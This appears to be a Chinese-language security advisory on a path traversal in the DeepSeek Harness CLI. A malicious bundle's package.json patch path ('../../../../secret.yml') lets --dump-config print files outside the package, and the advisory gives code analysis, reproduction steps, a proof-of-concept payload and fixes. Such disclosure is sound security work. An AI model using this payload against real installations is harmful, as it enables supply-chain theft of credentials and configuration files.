[Security]DeepSeek Harness dsh.bundle.patch 清单字段路径遍历，可读取 bundle 包目录之外的任意 YAML/JSON 文件

[rockmelodies]

一、产品介绍

DeepSeek Harness（@deepseek-ai/dsh）是 DeepSeek 开源的一个 AI Agent 开发与运行框架（CLI）。它基于 Cordis 依赖注入 / 插件加载器架构，通过「profile + patch 层」的组合模型管理插件树：每个 profile（位于 $DSH_HOME/profiles/<name>）由多个 bundle 层、用户补丁层（cordis.patch.yml）以及 --patch overlay 层叠加而成。bundle 是 npm 包，其 package.json 通过 "dsh": { "bundle": { "patch": "<相对路径>" } } 声明自己导出的补丁层。用户通过 dsh plugin --profile <name> add <package> 安装第三方插件，通过 dsh --profile <name> --dump-config / --dump-default-config 查看配置树。仓库地址 github.com/deepseek-ai/deepseek-harness。

二、漏洞标题

DeepSeek Harness loadProfile 未校验 dsh.bundle.patch 声明路径，path.join 拼接攻击者控制的 ../ 段导致路径遍历，配合 dsh --profile <name> --dump-config 可读取并输出 bundle 包目录之外的任意 YAML/JSON 文件

三、漏洞描述

dsh 在加载 profile 的 bundle 层时（packages/boot/app-boot/src/profile.ts 的 loadProfile），读取每个 bundle 的 package.json，取出其声明的 dsh.bundle.patch 字段值（记为 declared），仅校验该值是否为 undefined，随后直接 path.join(packageDir, declared) 拼出补丁文件的绝对路径并读取。

由于 declared 完全由 bundle 包的 package.json 控制（即攻击者通过 dsh plugin add 安装的恶意包可控），且拼接前没有任何路径包含/越界校验，攻击者可以在 declared 中写入 ../ 段或绝对路径，使 path.join 逃逸出 bundle 包目录，指向包目录之外的任意文件。loadProfile 随后用 loadOverlayPatches 读取该越界路径并解析为 dsh 补丁列表。

配合诊断命令 dsh --profile <name> --dump-config / --dump-default-config（该命令只解析、不 boot、不求值 !!js），被遍历文件的解析内容会输出到 stdout，从而泄露包目录之外的任意 YAML / JSON 文件内容（如含凭据的配置文件）。这一信息泄露影响与已报告的 !!js 任意代码执行（eval 汇点）相互独立：在正常启动（boot）路径下，被遍历文件若含 !!js 表达式同样会被求值（汇入已报告的同一 eval 汇点）；而 --dump-config 路径则是在不执行任何代码的前提下泄露文件内容。

四、漏洞分析

漏洞由「安装环节无声明校验」与「加载环节无路径校验」两段叠加构成，根因是 loadProfile 中的一次未校验的 path.join。

（1）安装环节：dsh plugin add 仅凭 dsh.bundle.patch !== undefined 判定 bundle，不校验路径内容 — apps/cli/src/plugin.ts:36-45

function exportsPatch(packageName: string, profileDir: string): boolean {
  let dir: string
  try {
    dir = resolveBundleDir(NAME, packageName, INSTALL_ANCHOR, profileDir)
  } catch { return false }
  const manifest = readProfileManifest(NAME, dir)
  return manifest.dsh?.bundle?.patch !== undefined   // ← 仅检查字段存在性，不校验其值
}

随后 reconcilePlugins（apps/cli/src/plugin.ts:59-91）把该依赖名加入 dsh.profile.bundles 层栈。攻击者控制的 patch 值原样通过。

（2）加载环节：loadProfile 提取未校验的 declared 并用 join 拼接 — packages/boot/app-boot/src/profile.ts:388-396

const layers = bundles.map((packageName): ProfileLayer => {
  const packageDir = resolveBundleDir(binName, packageName, installAnchor, dir)
  const bundleManifest = JSON.parse(readFileSync(join(packageDir, 'package.json'), 'utf8')) as ProfileManifest
  const declared = bundleManifest.dsh?.bundle?.patch        // ← 攻击者控制，如 '../../../../secret.yml'
  if (declared === undefined) {                             // ← 仅校验 undefined，不校验路径遍历
    throw new Error(`${binName}: profile bundle ${JSON.stringify(packageName)} declares no dsh.bundle in its package.json`)
  }
  const patchPath = join(packageDir, declared)              // ← 根因：join 解析 .. 段，逃逸出 packageDir
  return { packageName, packageDir, patchPath, patches: loadOverlayPatches(binName, patchPath) }
})

path.join(packageDir, declared) 会把 declared 中的 .. 段解析为上级目录，当 declared = "../../../../secret.yml" 时，patchPath 从 $DSH_HOME/profiles/<name>/node_modules/<pkg>/ 上溯 4 层，落在 $DSH_HOME/secret.yml。

（3）越界文件被读取并解析为补丁列表 — packages/boot/app-boot/src/index.ts:298-338

export function loadOverlayPatches(binName: string, file: string): PatchOptions[] {
  let content: string
  try {
    content = readFileSync(file, 'utf8')   // ← 读取包目录之外的任意文件
  } catch (error) {
    throw new Error(`${binName}: failed to read overlay ${file}: ${String(error)}`)
  }
  return parsePatchList(binName, file, content, 'overlay')  // ← yaml.load，含 !!js 支持（dump 时不求值）
}

（4）--dump-config 把解析内容渲染到 stdout — apps/cli/src/dump-config.ts:30-52 → apps/cli/src/profile-boot.ts:98-103

export function runDumpConfig(profile, defaultOnly, patches): void {
  const loaded = prepareProfile(profile, !defaultOnly)      // ← 触发上面的 loadProfile 路径遍历
  const layers = loaded.layers.map(layer => ({ label: layer.packageName, patches: layer.patches }))
  // ...
  process.stdout.write(renderConfigDump(NAME, join(loaded.dir, PROFILE_ROOT_FILENAME), layers))
  // ← 越界文件的已解析补丁被渲染进 YAML 输出，泄露内容；期间 !!js 仅原样打印、不求值
}

prepareProfile（profile-boot.ts:98-103）先 healProfilesModuleFallback 再 loadProfile，是 boot 与 dump 两条路径共同的前置，因此本漏洞在正常启动时同样触发读取（越界文件中的 !!js 会汇入已报告的 eval 汇点）。

漏洞根因一句话：loadProfile 对「bundle 包自身声明的 patch 路径」这一攻击者可控输入，只做了 undefined 判空，缺少「拼接结果必须仍位于 packageDir 之内」的包含校验。

五、漏洞影响版本

@deepseek-ai/dsh ≤ 0.1.0-rc.5（当前 master 分支版本；本次复现实测 dsh --version 输出 0.1.0-rc.5）

六、漏洞等级

中危（Medium）

定级说明：本漏洞与同项目已报告的 !!js 任意代码执行（中危）同源、同为供应链 bundle 攻击面，但本漏洞的独立危害是信息泄露（读任意 YAML/JSON，不含完整性/可用性破坏）。利用门槛：攻击者需诱导操作员执行 dsh plugin add <恶意包> 安装恶意 bundle（UI:R、非默认行为），且越界目标文件需能被 yaml.load 解析为补丁列表数组才能完整输出内容，否则仅泄露路径与部分错误信息（AC:H）。综合前提与「仅泄露、不执行」的后果，定为中危。

七、CVSS 向量

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

八、漏洞复现过程

8.1 复现环境

• 系统：Windows 11 Pro（Node v24.19.0 独立环境，见部署说明）
• 目标：E:\tulongfeng\8.17\deepseek-harness（master 分支，0.1.0-rc.5，已 pnpm install + build）
• 隔离实验目录：E:\tulongfeng\8.17\02\poc\（DSH_HOME 指向 02/poc/home，不污染真实 ~/.dsh）

命令约定：已将 dsh 安装为可执行命令（shim 指向编译产物 apps/cli/lib/bin.js，随 Node v24.19.0 独立环境一起位于 E:\tulongfeng\8.17\node-v24.19.0-win-x64）。下文复现命令直接使用 dsh <...>，等价于产品文档中的 dsh / pnpm dsh。

环境准备（Git Bash；dsh 已安装，无需进入仓库目录）：

export PATH="/e/tulongfeng/8.17/node-v24.19.0-win-x64:$PATH" # 让 dsh 命令可用（node24 目录）
export DSH_HOME="E:/tulongfeng/8.17/02/poc/home" # 隔离实验目录，不污染 ~/.dsh
hash -r

8.2 复现步骤

步骤 1 —— 放置越界目标文件（bundle 包目录之外的敏感文件）

在 $DSH_HOME/secret.yml（远离任何 bundle 包目录）写入一段可解析为补丁列表的「敏感内容」：

• insert:
  • id: leaked-secret
    config:
    databasePassword: "Sup3rSecret-DB-Passw0rd"
    internalApiToken: "tok_path_traversal_leak_1234567890"
    note: "EXFILTRATED-VIA-dsh.bundle.patch-PATH-TRAVERSAL"

步骤 2 —— 构造恶意 bundle 包

其 package.json 声明 dsh.bundle.patch = "../../../../secret.yml"（4 层 ../ 上溯到 $DSH_HOME）：

{
"name": "evil-bundle",
"version": "1.0.0",
"dsh": {
"bundle": {
"patch": "../../../../secret.yml"
}
}
}

步骤 3 —— 通过 dsh plugin add 安装恶意包（完整攻击面）

dsh plugin --profile poc add "file:E:/tulongfeng/8.17/02/poc/evil-bundle"

pnpm 安装成功后，reconcilePlugins 自动把 evil-bundle 加入 dsh.profile.bundles：

"dsh": { "profile": { "bundles": ["@deepseek-ai/dsh-base", "evil-bundle"] } }

步骤 4 —— 执行 --dump-config，观察越界文件内容泄露

dsh --profile poc --dump-config
dsh --profile poc --dump-default-config

九、漏洞复现 PoC

恶意 bundle 的 package.json（核心 payload）

{
"name": "evil-bundle",
"version": "1.0.0",
"dsh": {
"bundle": {
"patch": "../../../../secret.yml"
}
}
}

越界目标文件 $DSH_HOME/secret.yml（用于演示被泄露的敏感内容）

• insert:
  • id: leaked-secret
    config:
    databasePassword: "Sup3rSecret-DB-Passw0rd"
    internalApiToken: "tok_path_traversal_leak_1234567890"
    note: "EXFILTRATED-VIA-dsh.bundle.patch-PATH-TRAVERSAL"

复现命令

环境准备（Git Bash，见 8.1）

export PATH="/e/tulongfeng/8.17/node-v24.19.0-win-x64:$PATH"
export DSH_HOME="<实验 home，如 E:/tulongfeng/8.17/02/poc/home>"

方式一（完整攻击面）：安装恶意包

dsh plugin --profile poc add "file:<恶意包绝对路径>/evil-bundle"

方式二（最小等价）：直接把 evil-bundle 放入 $DSH_HOME/profiles//node_modules/ 并写入 bundles

触发信息泄露（两者任一）

dsh --profile poc --dump-config
dsh --profile poc --dump-default-config

十、修复建议

优先级	措施
P0	在 loadProfile 中对 declared 做路径包含校验：用 resolve(packageDir, declared) 得到绝对路径后，校验其结果仍位于 packageDir 之内（path.relative(packageDir, patchPath) 不以 .. 开头且非绝对路径逃逸），否则拒绝加载并报错。
P0	对 bundle 补丁增加来源约束：bundle 声明路径仅允许「包目录内的相对路径」，拒绝绝对路径、盘符、.. 段与符号链接逃逸；与 !!js 修复建议一致，可考虑签名校验 / 包来源白名单。
P1	在 exportsPatch / reconcilePlugins（apps/cli/src/plugin.ts）安装判定环节复用同一路径校验，避免恶意声明在安装期就进入 dsh.profile.bundles。
P2	--dump-config / --dump-default-config 输出的补丁来源标签目前只显示 layer.packageName 而非真实文件路径，建议在 dump 中显式标注每个补丁层的解析路径，便于审计异常来源。